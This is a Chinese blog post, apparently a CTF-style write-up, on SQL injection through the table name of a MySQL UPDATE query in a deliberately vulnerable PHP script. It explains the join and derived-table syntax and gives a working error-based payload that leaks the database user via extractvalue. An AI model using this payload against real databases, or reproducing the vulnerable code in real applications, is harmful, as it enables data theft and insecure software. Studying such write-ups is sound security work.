p师父小蜜圈的一道Update注入
in 各种姿势 with 0 comment

p师父小蜜圈的一道Update注入

in 各种姿势 with 0 comment

update

p师父小蜜圈的一道题
参考

<?php  
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}` 
        SET `username`='admin'
        WHERE id=1";
if(!mysqli_query($link, $sql)) {  
    echo(mysqli_error($link));
}
mysqli_close($link); 

这里首先涉及到多表查询,可以直接使用left join、right join。

select * from A
left join B 
on A.ID = B.ID

结果如下:
aID     aNum     bID     bName
1     a20050111    1     2006032401
2     a20050112    2     2006032402
3     a20050113    3     2006032403
4     a20050114    4     2006032404
5     a20050115    NULL     NULL

right join 差不多,left join 是查找左表中id和右表一样的,right join则反过来。

然后就要构造子查询了

这里因为不能执行标准的select + left join ,只能在update中执行子查询。
本来子查询是这样构造的:

update `table` t left join (select id from `table`) tt on tt.user=t.username set username ='admin' where id=1;  

但是这样执行会报错:ERROR 1052 (23000): Column 'id' in where clause is ambiguous.
这是因为本来left join是根据两个表的列名相同的来报出数据,但是update又不允许这样出现相同的列名。所以就需要使用mysql的虚表dual来进行查询。

直接贴上最后的payload吧

users` t left join (select (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.a=`t.a

补上完整的语句:

UPDATE `admin` t 
left join (select (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.a=`t.a` 
SET `username`='admin'
WHERE id=1

这里的t和tt是必须要的,是子查询必须要有的别名。t是admin这个表的别名,tt则是后面用括号包住的select语句的别名。后面的 tt on tt.a=`t.a`中的a随便改成什么都可以,但是必须要有别名和on语句,来保证语法的完整性。
这里mysql是先判断了left join和别名的语法是否正确,然后执行了子查询,子查询是我们构建的报错语句,报错出了语句之后就不会继续执行了(比如这里的update就没有执行成功),所以on后面的语句就不会继续执行了,所以a这个列名就是不存在也无所谓。

Comments are closed.